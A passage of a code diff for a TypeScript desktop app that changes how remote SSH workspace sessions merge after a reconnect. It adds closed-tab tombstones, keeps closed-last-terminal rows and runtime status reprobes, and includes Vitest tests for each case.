+    blockNextStatusProbe = true
+    startBridge()
+    await settle()
+    replaySubscription()
+    await settle()
+    expect(window.api.runtimeEnvironments.getStatus).toHaveBeenCalledTimes(1)
+
+    // The host restarts while that probe is still on its own socket: the transport drops,
+    // reconnects and replays again. Serializing is right, dropping the request is not —
+    // the in-flight answer predates the restart this replay is reporting.
+    liveRuntimeId = 'remote-runtime-restarted'
+    replaySubscription()
+    await settle()
+    expect(window.api.runtimeEnvironments.getStatus).toHaveBeenCalledTimes(1)
+
+    releaseBlockedStatusProbe?.()
+    await settle()
+
+    expect(
+      useAppStore.getState().runtimeStatusByEnvironmentId.get(ENVIRONMENT_ID)?.status?.runtimeId
+    ).toBe('remote-runtime-restarted')
+  })
+
+  it('does not resurrect a host removed while a retry was pending', async () => {
+    vi.useFakeTimers()
+    useAppStore.setState({
+      runtimeStatusByEnvironmentId: new Map([
+        [ENVIRONMENT_ID, { status: null, checkedAt: Date.now() }]
+      ]) as never
+    })
+    failingStatusProbes = Number.POSITIVE_INFINITY
+
+    startBridge()
+    await settle()
+    expect(window.api.runtimeEnvironments.getStatus).toHaveBeenCalledTimes(1)
+
+    // The user deletes the remote server before the first retry fires. Settings can still
+    // name it as active until the next settings read, so removal is what has to stop this.
+    useAppStore.getState().setRuntimeEnvironments([])
+    await settle()
+    expect(useAppStore.getState().runtimeStatusByEnvironmentId.has(ENVIRONMENT_ID)).toBe(false)
+
+    await vi.advanceTimersByTimeAsync(120_000)
+    await settle()
+
+    expect(window.api.runtimeEnvironments.getStatus).toHaveBeenCalledTimes(1)
+    // buildExecutionHostRegistry enumerates the status map, so a re-published entry for a
+    // deleted id puts that host back in the sidebar under its raw id.
+    expect(useAppStore.getState().runtimeStatusByEnvironmentId.has(ENVIRONMENT_ID)).toBe(false)
+  })
+
+  it('keeps a live cached status when the replay-triggered probe fails on its own socket', async () => {
+    startBridge()
+    await settle()
+    expect(sidebarHostHealth()).toBe('available')
+    // Asserted over every write, not just the end state: a demotion that a later probe
+    // undoes still flashed the sidebar offline and still fired the toast.
+    let recordedUnreachable = false
+    unsubs.push(
+      useAppStore.subscribe((state) => {
+        recordedUnreachable ||=
+          state.runtimeStatusByEnvironmentId.get(ENVIRONMENT_ID)?.status === null
+      })
+    )
+
+    // status.get dials its own short-lived socket, so its failure is unverifiable — and the
+    // transport that just replayed is proof the host is up. Recording it as offline would
+    // manufacture the stuck-offline sidebar this re-probe exists to cure.
+    failingStatusProbes = 1
+    replaySubscription()
+    await settle()
+
+    expect(recordedUnreachable).toBe(false)
+    expect(sidebarHostHealth()).toBe('available')
+    expect(toast.warning).not.toHaveBeenCalled()
+  })
+
+  it('returns a stuck-offline host to online when the replayed probe answers', async () => {
+    // The reported bug: the sidebar stayed offline after the connection recovered. The first
+    // probe failing keeps the recorded verdict unreachable, so only the replay recovers it
+    // (its retry chain is still parked behind a 2s timer this test never advances).
+    useAppStore.setState({
+      runtimeStatusByEnvironmentId: new Map([
+        [ENVIRONMENT_ID, { status: null, checkedAt: Date.now() }]
+      ]) as never
+    })
+    failingStatusProbes = 1
+    startBridge()
+    await settle()
+    expect(sidebarHostHealth()).toBe('disconnected')
+
+    replaySubscription()
+    await settle()
+
+    expect(sidebarHostHealth()).toBe('available')
+  })
+
+  it('does not dial a second status socket when the in-flight probe already answered', async () => {
+    startBridge()
+    await settle()
+    expect(window.api.runtimeEnvironments.getStatus).toHaveBeenCalledTimes(0)
+
+    // A reconnect re-probes unconditionally, and that probe is still on its own socket.
+    blockNextStatusProbe = true
+    replaySubscription()
+    await settle()
+    expect(window.api.runtimeEnvironments.getStatus).toHaveBeenCalledTimes(1)
+
+    // Meanwhile the outage's own failed probe is recorded, which resubscribes; that
+    // resubscribe resolves against a cache that still reads unreachable.
+    useAppStore.getState().setRuntimeEnvironmentStatus(ENVIRONMENT_ID, {
+      status: null,
+      checkedAt: Date.now()
+    })
+    await settle()
+    expect(window.api.runtimeEnvironments.getStatus).toHaveBeenCalledTimes(1)
+
+    releaseBlockedStatusProbe?.()
+    await settle()
+
+    // The resubscribe only wanted an answer for a host the cache called unreachable, and
+    // the probe it waited on gave one: a second status.get is a whole extra socket dial.
+    expect(window.api.runtimeEnvironments.getStatus).toHaveBeenCalledTimes(1)
+    expect(sidebarHostHealth()).toBe('available')
+  })
+})
diff --git a/src/renderer/src/hooks/remote-workspace-session-merge-close-tombstones.test.ts b/src/renderer/src/hooks/remote-workspace-session-merge-close-tombstones.test.ts
new file mode 100644
index 00000000000..a1e82633f98
--- /dev/null
+++ b/src/renderer/src/hooks/remote-workspace-session-merge-close-tombstones.test.ts
@@ -0,0 +1,192 @@
+import { describe, expect, it } from 'vitest'
+
+import { mergeDirectSshRemoteWorkspaceSession } from './remote-workspace-session-merge'
+import { worktreeWorkspaceKey } from '../../../shared/workspace-scope'
+import type { WorkspaceSessionState } from '../../../shared/workspace-session-state-types'
+import type { TerminalTab } from '../../../shared/terminal-tab-types'
+import type { AppState } from '../store/types'
+
+/**
+ * The one thing a close tombstone is allowed to do, and everything it is not.
+ *
+ * The bug it exists for: the `pty.kill` for a closed SSH tab rejects with a transport error, so the
+ * close never reaches the host, the host keeps listing the tab, and every reconnect re-inserts it.
+ * The bug it must never cause is the opposite one — PR #14361 was reverted for deleting live tabs —
+ * so every case below that is not "an id this client watched the user close" keeps the tab.
+ */
+const WORKTREE = 'repo-1::/home/user/bug-cats'
+
+function terminalTab(id: string, overrides: Partial<TerminalTab> = {}): TerminalTab {
+  return { id, title: id, type: 'terminal', worktreeId: WORKTREE, ...overrides } as TerminalTab
+}
+
+function sessionState(overrides: Partial<WorkspaceSessionState> = {}): WorkspaceSessionState {
+  return {
+    activeRepoId: 'repo-1',
+    activeWorktreeId: WORKTREE,
+    activeWorkspaceKey: worktreeWorkspaceKey(WORKTREE),
+    activeTabId: 'agent',
+    tabsByWorktree: {},
+    terminalLayoutsByTabId: {},
+    activeTabIdByWorktree: {},
+    ...overrides
+  } as WorkspaceSessionState
+}
+
+function merge(
+  current: WorkspaceSessionState,
+  remote: WorkspaceSessionState,
+  liveTabs: AppState['tabsByWorktree'] = {},
+  remoteRevision?: number
+): WorkspaceSessionState {
+  return mergeDirectSshRemoteWorkspaceSession(
+    current,
+    remote,
+    new Set([WORKTREE]),
+    liveTabs,
+    new Set(),
+    undefined,
+    remoteRevision
+  )
+}
+
+function tombstone(tabId: string, ackRevision?: number): WorkspaceSessionState {
+  return sessionState({
+    tabsByWorktree: { [WORKTREE]: [] },
+    closedTerminalTabTombstonesByTabId: {
+      [tabId]: {
+        closedAt: Date.now(),
+        worktreeId: WORKTREE,
+        ...(ackRevision ? { ackRevision } : {})
+      }
+    }
+  })
+}
+
+describe('direct-SSH pull merge: closed-tab tombstones', () => {
+  it('does not suppress a host tab whose id collides with an Object.prototype key', () => {
+    // `tabId in map` answers true for every prototype key even on an EMPTY map, so a host tab named
+    // `toString` was filtered out, blocked from the host-unknown branch, and stripped of its layout
+    // and session id — the one path in this function that could delete a tab the user never closed.
+    // Tab ids are validated only as non-empty and colon-free, and createTab honours caller-supplied
+    // id hints, so the id is reachable rather than theoretical.
+    const current = sessionState({ tabsByWorktree: { [WORKTREE]: [] } })
+    const remote = sessionState({
+      tabsByWorktree: { [WORKTREE]: [terminalTab('toString')] },
+      terminalLayoutsByTabId: { toString: { root: { type: 'leaf', paneId: 'p' } } as never },
+      remoteSessionIdsByTabId: { toString: 'session-1' }
+    })
+
+    const merged = merge(current, remote, {}, 2)
+
+    expect(merged.tabsByWorktree[WORKTREE]?.map((tab) => tab.id)).toEqual(['toString'])
+    expect(Object.hasOwn(merged.terminalLayoutsByTabId, 'toString')).toBe(true)
+    expect(merged.remoteSessionIdsByTabId?.toString).toBe('session-1')
+  })
+
+  it('does not suppress a tombstoned id under a DIFFERENT worktree', () => {
+    // The tombstone carries the worktree it was closed in, so suppression cannot reach another
+    // workspace's tab. Structural, rather than a property of where the call sites happen to sit.
+    const other = 'repo-1::/home/user/other'
+    const current = sessionState({
+      tabsByWorktree: { [WORKTREE]: [] },
+      closedTerminalTabTombstonesByTabId: {
+        'tab-x': { closedAt: Date.now(), worktreeId: other }
+      }
+    })
+    const remote = sessionState({ tabsByWorktree: { [WORKTREE]: [terminalTab('tab-x')] } })
+
+    const merged = merge(current, remote, {}, 2)
+
+    expect(merged.tabsByWorktree[WORKTREE]?.map((tab) => tab.id)).toEqual(['tab-x'])
+  })
+
+  it('does not re-insert a tombstoned tab the host still lists', () => {
+    const ghost = terminalTab('ghost')
+    const remote = sessionState({
+      tabsByWorktree: { [WORKTREE]: [ghost] },
+      terminalLayoutsByTabId: { ghost: { type: 'single', tabId: 'ghost' } as never },
+      remoteSessionIdsByTabId: { ghost: 'pty-1' }
+    })
+
+    const merged = merge(tombstone('ghost'), remote, { [WORKTREE]: [] }, 3)
+
+    expect(merged.tabsByWorktree[WORKTREE]).toEqual([])
+    expect(merged.terminalLayoutsByTabId.ghost).toBeUndefined()
+    expect(merged.remoteSessionIdsByTabId?.ghost).toBeUndefined()
+    expect(merged.closedTerminalTabTombstonesByTabId?.ghost).toBeDefined()
+  })
+
+  it('does not re-add a tombstoned tab through the host-unknown branch', () => {
+    // The stale persisted payload still lists it, and the host has never heard of it. Without the
+    // tombstone that combination is exactly what the host-unknown branch exists to preserve.
+    const ghost = terminalTab('ghost')
+    const current = sessionState({
+      tabsByWorktree: { [WORKTREE]: [ghost] },
+      closedTerminalTabTombstonesByTabId: { ghost: { closedAt: Date.now(), worktreeId: WORKTREE } }
+    })
+    const remote = sessionState({ tabsByWorktree: { [WORKTREE]: [] } })
+
+    const merged = merge(current, remote, {}, 3)
+
+    expect(merged.tabsByWorktree[WORKTREE]).toEqual([])
+  })
+
+  it('suppresses only the tombstoned tab, leaving its siblings and the pointers alone', () => {
+    // The active-tab pointers deliberately still name the ghost: hydration validates both of them
+    // against the rows below and nulls what they no longer name, so the merge leaves them be.
+    const ghost = terminalTab('ghost')
+    const survivor = terminalTab('survivor')
+    const remote = sessionState({
+      tabsByWorktree: { [WORKTREE]: [ghost, survivor] },
+      activeTabId: 'ghost',
+      activeTabIdByWorktree: { [WORKTREE]: 'ghost' }
+    })
+
+    const merged = merge(tombstone('ghost'), remote, { [WORKTREE]: [] }, 3)
+
+    expect(merged.tabsByWorktree[WORKTREE].map((tab) => tab.id)).toEqual(['survivor'])
+  })
+
+  it('a live local tab beats a stale tombstone for its id', () => {
+    const live = terminalTab('live')
+    const current = sessionState({
+      tabsByWorktree: { [WORKTREE]: [live] },
+      closedTerminalTabTombstonesByTabId: { live: { closedAt: Date.now(), worktreeId: WORKTREE } }
+    })
+    const remote = sessionState({ tabsByWorktree: { [WORKTREE]: [live] } })
+
+    const merged = merge(current, remote, { [WORKTREE]: [live] }, 3)
+
+    expect(merged.tabsByWorktree[WORKTREE].map((tab) => tab.id)).toEqual(['live'])
+  })
+
+  it('leaves a tab alone when no tombstone names it', () => {
+    // The pre-existing absence-is-not-closed trade, restated: a host that still lists a tab closed
+    // on some other client keeps it here, because absence is all this merge would have to go on.
+    const agent = terminalTab('agent')
+    const closedElsewhere = terminalTab('closed-elsewhere')
+    const current = sessionState({ tabsByWorktree: { [WORKTREE]: [agent, closedElsewhere] } })
+    const remote = sessionState({ tabsByWorktree: { [WORKTREE]: [agent] } })
+
+    const merged = merge(current, remote, { [WORKTREE]: [agent, closedElsewhere] }, 3)
+
+    expect(merged.tabsByWorktree[WORKTREE].map((tab) => tab.id)).toContain('closed-elsewhere')
+  })
+
+  it('retires the tombstone once a newer snapshot stops listing the tab', () => {
+    const remote = sessionState({ tabsByWorktree: { [WORKTREE]: [] } })
+
+    const merged = merge(tombstone('ghost', 3), remote, { [WORKTREE]: [] }, 4)
+
+    expect(merged.closedTerminalTabTombstonesByTabId).toBeUndefined()
+  })
+
+  it('keeps the tombstone when the snapshot omits the worktree entirely', () => {
+    // A snapshot that says nothing about the worktree — including one whose path never resolved —
+    // is not evidence the host saw the close.
+    const merged = merge(tombstone('ghost', 3), sessionState(), {}, 4)
+
+    expect(merged.closedTerminalTabTombstonesByTabId?.ghost).toBeDefined()
+  })
+})
diff --git a/src/renderer/src/hooks/remote-workspace-session-merge-closed-terminal-tombstone.test.ts b/src/renderer/src/hooks/remote-workspace-session-merge-closed-terminal-tombstone.test.ts
new file mode 100644
index 00000000000..3764181e71c
--- /dev/null
+++ b/src/renderer/src/hooks/remote-workspace-session-merge-closed-terminal-tombstone.test.ts
@@ -0,0 +1,80 @@
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { mergeDirectSshRemoteWorkspaceSession } from './remote-workspace-session-merge'
+import { getDefaultWorkspaceSession } from '../../../shared/constants'
+import { buildWorkspaceSessionPayload } from '@/lib/workspace-session'
+import { activateAndRevealWorktree } from '@/lib/worktree-activation'
+import { ensureWorktreeHasInitialTerminal } from '@/lib/worktree-initial-terminal-seeding'
+import {
+  makeCreatedAgentWorktree as makeWorktree,
+  seedEmptyActivatableWorktree
+} from '@/lib/worktree-activation-created-agent-test-state'
+import { useAppStore } from '@/store'
+
+/**
+ * The closed-last-terminal tombstone across a direct-SSH reconnect, end to end.
+ *
+ * The unit-level rule lives in remote-workspace-session-merge-local-survival.test.ts; this asserts
+ * what that rule is FOR. `Object.hasOwn(tabsByWorktree, worktreeId)` has to keep meaning one thing
+ * — the merge dropping the key turned "the user closed the last terminal" into "never
+ * initialized", and the seeding pass then handed the terminal back on every reconnect.
+ */
+const initialAppStoreState = useAppStore.getState()
+
+afterEach(() => {
+  vi.unstubAllGlobals()
+  useAppStore.setState(initialAppStoreState, true)
+})
+
+/** The state a workspace lands in once its last terminal is closed: an explicit empty row. */
+function seedClosedLastTerminal(worktreeId: string): void {
+  useAppStore.setState({ tabsByWorktree: { [worktreeId]: [] } })
+  expect(useAppStore.getState().reconcileWorktreeTabModel(worktreeId).renderableTabCount).toBe(0)
+}
+
+/** The real merge against a host that has no row for this worktree, hydrated the way
+ *  remote-workspace-snapshot-apply does it. */
+function applyHostSnapshotOmitting(worktreeId: string): void {
+  const state = useAppStore.getState()
+  const merged = mergeDirectSshRemoteWorkspaceSession(
+    buildWorkspaceSessionPayload(state),
+    getDefaultWorkspaceSession(),
+    new Set([worktreeId]),
+    state.tabsByWorktree,
+    new Set()
+  )
+  const replaceWorkspaceKeys = [worktreeId]
+  useAppStore.getState().hydrateWorkspaceSession(merged, { replaceWorkspaceKeys })
+  useAppStore.getState().hydrateTabsSession(merged, { replaceWorkspaceKeys })
+}
+
+describe('a closed-last-terminal row that a direct-SSH snapshot says nothing about', () => {
+  it('survives the reconnect, so startup hydration adds no terminal', () => {
+    const worktree = makeWorktree()
+    seedEmptyActivatableWorktree(worktree)
+    seedClosedLastTerminal(worktree.id)
+
+    applyHostSnapshotOmitting(worktree.id)
+
+    expect(Object.hasOwn(useAppStore.getState().tabsByWorktree, worktree.id)).toBe(true)
+    expect(useAppStore.getState().tabsByWorktree[worktree.id]).toEqual([])
+    expect(ensureWorktreeHasInitialTerminal(useAppStore.getState(), worktree.id)).toBeNull()
+    expect(useAppStore.getState().tabsByWorktree[worktree.id]).toEqual([])
+  })
+
+  it('still re-seeds when the user explicitly opens the workspace', () => {
+    // The mirror risk of preserving the row rather than dropping it: the tombstone must suppress
+    // seeding on startup hydration ONLY. An explicit activation opts into reseedEmptiedWorkspace,
+    // and a preserved row that swallowed it would trade a duplicate terminal for a dead workspace.
+    // Passes before the merge fix too — it is the guard on it, not evidence of it.
+    const worktree = makeWorktree()
+    seedEmptyActivatableWorktree(worktree)
+    seedClosedLastTerminal(worktree.id)
+
+    applyHostSnapshotOmitting(worktree.id)
+    const result = activateAndRevealWorktree(worktree.id, { notifyHostRuntime: false })
+
+    expect(result).not.toBe(false)
+    expect(useAppStore.getState().tabsByWorktree[worktree.id]).toHaveLength(1)
+  })
+})
diff --git a/src/renderer/src/hooks/remote-workspace-session-merge-local-survival.test.ts b/src/renderer/src/hooks/remote-workspace-session-merge-local-survival.test.ts
index 698c1841229..361493b34ef 100644
--- a/src/renderer/src/hooks/remote-workspace-session-merge-local-survival.test.ts
+++ b/src/renderer/src/hooks/remote-workspace-session-merge-local-survival.test.ts
@@ -338,3 +338,45 @@ describe('a tab id local state already holds under two worktrees', () => {
     expect(merged.tabsByWorktree[OTHER_WORKTREE]?.map((tab) => tab.id)).toEqual(['build'])
   })
 })
+
+describe('local rows the snapshot carries no answer for', () => {
+  it('keeps the explicit empty row that records a closed last terminal', () => {
+    // initial-terminal.ts: a missing row means never initialized, an explicit empty row means the
+    // user closed the last terminal. Dropping the key downgrades the second into the first, so the
+    // seeding pass re-creates the terminal the user just closed on every reconnect.
+    const current = sessionState({ tabsByWorktree: { [WORKTREE]: [] } })
+    const remote = sessionState({ activeWorktreeId: null, tabsByWorktree: {} })
+
+    const merged = merge(current, remote, { [WORKTREE]: [] })
+
+    expect(Object.hasOwn(merged.tabsByWorktree, WORKTREE), 'tombstone erased').toBe(true)
+    expect(merged.tabsByWorktree[WORKTREE]).toEqual([])
+  })
+
+  it('invents no row for a worktree neither side has one for', () => {
+    // The counterweight: presence has to come from a real local row, not from membership in the
+    // replace set, or a never-initialized workspace gets a tombstone it never earned.
+    const current = sessionState({ tabsByWorktree: {} })
+    const remote = sessionState({ activeWorktreeId: null, tabsByWorktree: {} })
+
+    const merged = merge(current, remote, {})
+
+    expect(Object.hasOwn(merged.tabsByWorktree, WORKTREE)).toBe(false)
+  })
+
+  it('keeps the default-terminal-tabs marker the snapshot does not carry', () => {
+    // The marker is write-once and is the only guard on applyDefaultTerminalTabs. A snapshot that
+    // omits it is a host that was never told, not a host reporting the tabs were never applied —
+    // and taking it literally re-applies the whole template on top of the user's tabs.
+    const agent = terminalTab('agent')
+    const current = sessionState({
+      tabsByWorktree: { [WORKTREE]: [agent] },
+      defaultTerminalTabsAppliedByWorktreeId: { [WORKTREE]: true }
+    })
+    const remote = sessionState({ tabsByWorktree: { [WORKTREE]: [agent] } })
+
+    const merged = merge(current, remote, { [WORKTREE]: [agent] })
+
+    expect(merged.defaultTerminalTabsAppliedByWorktreeId?.[WORKTREE]).toBe(true)
+  })
+})
diff --git a/src/renderer/src/hooks/remote-workspace-session-merge.ts b/src/renderer/src/hooks/remote-workspace-session-merge.ts
index 731b1412068..fa247d8bbbd 100644
--- a/src/renderer/src/hooks/remote-workspace-session-merge.ts
+++ b/src/renderer/src/hooks/remote-workspace-session-merge.ts
@@ -1,5 +1,6 @@
 import type { TerminalTab } from '../../../shared/terminal-tab-types'
 import type { WorkspaceSessionState } from '../../../shared/workspace-session-state-types'
+import { reconcileClosedTerminalTabTombstones } from '../../../shared/closed-terminal-tab-tombstones'
 import type { ExecutionHostId } from '../../../shared/execution-host'
 import { worktreeWorkspaceKey } from '../../../shared/workspace-scope'
 import { splitWorktreeId } from '../../../shared/worktree/id'
@@ -26,8 +27,21 @@ export function mergeDirectSshRemoteWorkspaceSession(
   replaceWorktreeIds: ReadonlySet<string>,
   liveTabsByWorktree: AppState['tabsByWorktree'],
   preserveLocalTerminalTabIds: ReadonlySet<string>,
-  replaceExecutionHostId?: ExecutionHostId
+  replaceExecutionHostId?: ExecutionHostId,
+  remoteRevision?: number
 ): WorkspaceSessionState {
+  // Live tabs across the worktrees this snapshot replaces. Close-suppression consults it so a tab
+  // that is still live locally always beats its own tombstone.
+  // What actually keeps suppression from deleting a tab the user did not close — the earlier claim
+  // that "every use is inside replaceWorktreeIds" was wrong, since the tabsByWorktree pass below
+  // walks all of orderedWorktreeIds and the layout/session sweeps cover the whole remote maps:
+  //   1. closeTab strips the id from EVERY worktree row before recording the tombstone
+  //      (terminal-tab-close.ts), so a tombstoned id is not live anywhere;
+  //   2. isSuppressedByClose matches the tombstone's own worktreeId, so it cannot reach another
+  //      workspace's tab even if an id somehow recurred;
+  //   3. only closeReason === 'user' ever writes a tombstone.
+  // A final sweep of suppression over the assembled tabsByWorktree — including worktrees
+  // omitTargetWorktrees passes through verbatim — is still deliberately absent.
   const currentTabsById = new Map(
     [...replaceWorktreeIds]
       .flatMap((worktreeId) => liveTabsByWorktree[worktreeId] ?? [])
@@ -36,12 +50,19 @@ export function mergeDirectSshRemoteWorkspaceSession(
   const locallyPreservedTabIds = new Set<string>()
   const localTabsFor = (worktreeId: string): TerminalTab[] =>
     liveTabsByWorktree[worktreeId] ?? current.tabsByWorktree[worktreeId] ?? []
+  // Why presence and not length: an explicit empty row is the record that the user closed the last
+  // terminal (initial-terminal.ts), and localTabsFor cannot tell it from an absent one. Admitting
+  // only non-empty rows dropped the key, which reads downstream as "never initialized" and seeds a
+  // fresh terminal on every reconnect.
+  const hasLocalTabsRow = (worktreeId: string): boolean =>
+    Object.hasOwn(liveTabsByWorktree, worktreeId) ||
+    Object.hasOwn(current.tabsByWorktree, worktreeId)
   // Why the union and not just the remote keys: a host snapshot that has never been told about this
   // worktree carries no entry for it at all, and iterating only its keys would drop every local tab
   // through the omit below.
   const mergedWorktreeIds = new Set([
     ...Object.keys(remote.tabsByWorktree),
-    ...[...replaceWorktreeIds].filter((worktreeId) => localTabsFor(worktreeId).length > 0)
+    ...[...replaceWorktreeIds].filter(hasLocalTabsRow)
   ])
   // The active worktree is walked FIRST so that when one tab id is held locally under two of them,
   // the copy that survives below is the one the user is looking at. That matches what
@@ -89,22 +110,64 @@ export function mergeDirectSshRemoteWorkspaceSession(
       .filter(([tabId]) => remoteKnownTabIds.has(tabId))
       .map(([, sessionId]) => sessionId)
   )
+  // The other half of the trade below. Absence still cannot say "closed", so this says it instead:
+  // a tab THIS client watched the user close, whose close never reached the host. Only ids the user
+  // closed are ever in here, and only until the host's own snapshot stops listing them.
+  const closedTerminalTabTombstonesByTabId = reconcileClosedTerminalTabTombstones({
+    tombstones: current.closedTerminalTabTombstonesByTabId,
+    acknowledgedWorktreeIds: new Set(
+      [...replaceWorktreeIds].filter((worktreeId) =>
+        Object.hasOwn(remote.tabsByWorktree, worktreeId)
+      )
+    ),
+    hostKnownTabIds: remoteKnownTabIds,
+    hostRevision: remoteRevision,
+    now: Date.now()
+  })
+  // Why Object.hasOwn and not `in`: the map is a plain object from Object.fromEntries, so `in`
+  // answers true for every Object.prototype key on an EMPTY map — a host tab whose id is
+  // `toString` would be filtered, blocked from the host-unknown branch, and stripped of its layout
+  // and session id. Tab ids are validated only as non-empty and colon-free, and createTab honours
+  // caller-supplied id hints, so that id is reachable. This is the one place either direction could
+  // delete a tab the user never closed.
+  // Why the worktree comparison: the tombstone already carries the worktree it was closed in, so
+  // scoping on it makes "this suppression cannot reach another workspace's tab" structural rather
+  // than a property of where the call sites happen to sit.
+  // Why a live local tab still overrides its own tombstone: an id that is live here means the
+  // tombstone is stale (a close undone before it persisted), not a revival. Deleting a live pane is
+  // the one outcome this whole function exists to avoid.
+  const isSuppressedByClose = (tabId: string, worktreeId: string): boolean =>
+    Object.hasOwn(closedTerminalTabTombstonesByTabId, tabId) &&
+    closedTerminalTabTombstonesByTabId[tabId]?.worktreeId === worktreeId &&
+    !currentTabsById.has(tabId)
+  // Ids this merge actually suppressed, recorded as it walks the worktrees. The layout and
+  // session-id sweeps below have no worktree in scope, so they consult decisions already made
+  // rather than re-deriving one without the scope that makes it safe.
+  const suppressedTabIds = new Set<string>()
   const tabsByWorktree = Object.fromEntries(
     orderedWorktreeIds.map((worktreeId) => {
       const remoteTabs = remote.tabsByWorktree[worktreeId] ?? []
-      const reconciled = remoteTabs.map((tab) => {
-        const local = currentTabsById.get(tab.id)
-        if (
-          !local ||
-          ((local.generation ?? 0) <= (tab.generation ?? 0) &&
-            !local.pendingActivationSpawn &&
-            !preserveLocalTerminalTabIds.has(tab.id))
-        ) {
-          return tab
-        }
-        locallyPreservedTabIds.add(tab.id)
-        return preserveNewerLocalTerminalFields(tab, local)
-      })
+      const reconciled = remoteTabs
+        .filter((tab) => {
+          if (!isSuppressedByClose(tab.id, worktreeId)) {
+            return true
+          }
+          suppressedTabIds.add(tab.id)
+          return false
+        })
+        .map((tab) => {
+          const local = currentTabsById.get(tab.id)
+          if (
+            !local ||
+            ((local.generation ?? 0) <= (tab.generation ?? 0) &&
+              !local.pendingActivationSpawn &&
+              !preserveLocalTerminalTabIds.has(tab.id))
+          ) {
+            return tab
+          }
+          locallyPreservedTabIds.add(tab.id)
+          return preserveNewerLocalTerminalFields(tab, local)
+        })
       for (const tab of reconciled) {
         emittedTabIds.add(tab.id)
       }
@@ -128,6 +191,10 @@ export function mergeDirectSshRemoteWorkspaceSession(
         if (remoteKnownTabIds.has(tab.id) || emittedTabIds.has(tab.id)) {
           return false
         }
+        if (isSuppressedByClose(tab.id, worktreeId)) {
+          suppressedTabIds.add(tab.id)
+          return false
+        }
         const localSessionId = current.remoteSessionIdsByTabId?.[tab.id]
         return localSessionId == null || !remoteKnownSessionIds.has(localSessionId)
       })
@@ -179,7 +246,7 @@ export function mergeDirectSshRemoteWorkspaceSession(
     ),
     ...Object.fromEntries(
       Object.entries(remote.terminalLayoutsByTabId).filter(
-        ([tabId]) => !locallyPreservedTabIds.has(tabId)
+        ([tabId]) => !locallyPreservedTabIds.has(tabId) && !suppressedTabIds.has(tabId)
       )
     )
   }
@@ -236,6 +303,9 @@ export function mergeDirectSshRemoteWorkspaceSession(
           return localActiveTabId == null ? [] : [[worktreeId, localActiveTabId] as const]
         })
       ),
+      // Why a suppressed id is left in place here: hydration validates both active-tab pointers
+      // against the tab rows it just built and nulls anything they no longer name, so nulling twice
+      // would only add a second rule that has to stay in step with that one.
       ...remote.activeTabIdByWorktree
     },
     remoteSessionIdsByTabId: {
@@ -246,7 +316,7 @@ export function mergeDirectSshRemoteWorkspaceSession(
       ),
       ...Object.fromEntries(
         Object.entries(remote.remoteSessionIdsByTabId ?? {}).filter(
-          ([tabId]) => !locallyPreservedTabIds.has(tabId)
+          ([tabId]) => !locallyPreservedTabIds.has(tabId) && !suppressedTabIds.has(tabId)
         )
       )
     },
@@ -255,9 +325,17 @@ export function mergeDirectSshRemoteWorkspaceSession(
       ...remote.lastVisitedAtByWorktreeId
     },
     defaultTerminalTabsAppliedByWorktreeId: {
-      ...omitTargetWorktrees(current.defaultTerminalTabsAppliedByWorktreeId),
+      // Why no omit here: the marker is write-once and is the only guard on applyDefaultTerminalTabs,
+      // so a snapshot that omits it is a host that was never told rather than one reporting the tabs
+      // were never applied — omitting the local entry re-applies the whole template over the user's
+      // tabs. Removal is the worktree-teardown path's job, not a reconnect's.
+      ...current.defaultTerminalTabsAppliedByWorktreeId,
       ...remote.defaultTerminalTabsAppliedByWorktreeId
-    }
+    },
+    closedTerminalTabTombstonesByTabId:
+      Object.keys(closedTerminalTabTombstonesByTabId).length > 0
+        ? closedTerminalTabTombstonesByTabId
+        : undefined
   }
 }
 
diff --git a/src/renderer/src/hooks/remote-workspace-snapshot-apply-deferred-session-write.test.ts b/src/renderer/src/hooks/remote-workspace-snapshot-apply-deferred-session-write.test.ts
new file mode 100644
index 00000000000..2f42972769d
--- /dev/null
+++ b/src/renderer/src/hooks/remote-workspace-snapshot-apply-deferred-session-write.test.ts
@@ -0,0 +1,251 @@
+/**
+ * Drives the real apply path with the real session writer wired exactly as the app wires it.
+ *
+ * The write gate closes for the whole apply plus a 1s suppression tail that expires on a wall
+ * clock — no store update follows it. So a tab the user closes on an unrelated target during
+ * target A's reconnect has to be held and written when the tail ends, or the close and its
+ * tombstone are lost until the next unrelated mutation (a crash or kill in between loses both).
+ */
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import type * as AgentStatusModule from '@/lib/agent-status'
+import type { RemoteWorkspaceSnapshot } from '../../../shared/remote-workspace-types'
+import type { DirectSshAuthority, SshProviderEpoch } from '../../../shared/ssh-types'
+import { createTestStore, makeWorktree } from '../store/slices/store-test-helpers'
+import {
+  createSessionWriteSubscriber,
+  type WorkspaceSessionWrite
+} from '../lib/session-write-subscriber'
+import {
+  applyDirectSshRemoteWorkspaceSnapshot,
+  isDirectSshRemoteWorkspaceApplyInProgress,
+  onDirectSshRemoteWorkspaceApplyWindowClosed
+} from './remote-workspace-snapshot-apply'
+import type { DirectSshSnapshotApplyToken } from './direct-ssh-reconnect-coordinator-types'
+
+vi.mock('sonner', () => ({
+  toast: { info: vi.fn(), success: vi.fn(), error: vi.fn() }
+}))
+vi.mock('@/lib/agent-status', async (importOriginal) => {
+  const actual = await importOriginal<typeof AgentStatusModule>()
+  return {
+    ...actual,
+    detectAgentStatusFromTitle: vi.fn().mockReturnValue(null)
+  }
+})
+
+const TARGET_A = 'ssh-target-a'
+const PATH_A = '/srv/proj/target-a'
+const WORKTREE_A = `repoA::${PATH_A}`
+const WORKTREE_B = 'repoB::/srv/other/target-b'
+
+const authority: DirectSshAuthority = {
+  targetId: TARGET_A,
+  providerEpoch: 'provider-epoch-1' as SshProviderEpoch,
+  connectionGeneration: 1
+}
+
+type TestStore = ReturnType<typeof createTestStore>
+
+function token(snapshotRevision: number): DirectSshSnapshotApplyToken {
+  return {
+    authority,
+    catalogRevision: 0,
+    repoFingerprint: 'fp',
+    authorityRequirement: 'required',
+    snapshotRevision,
+    outcome: 'complete'
+  }
+}
+
+function snapshot(revision: number): RemoteWorkspaceSnapshot {
+  return {
+    namespace: 'workspace',
+    revision,
+    updatedAt: revision,
+    schemaVersion: 1,
+    session: {
+      activeWorktreePath: PATH_A,
+      activeTabId: 'tab-a',
+      tabsByWorktreePath: {
+        [PATH_A]: [
+          {
+            id: 'tab-a',
+            worktreePath: PATH_A,
+            ptyId: 'pty-tab-a',
+            title: 'Terminal 1',
+            customTitle: null,
+            color: null,
+            sortOrder: 0,
+            createdAt: 1
+          }
+        ]
+      },
+      terminalLayoutsByTabId: {},
+      activeWorktreePathsOnShutdown: [],
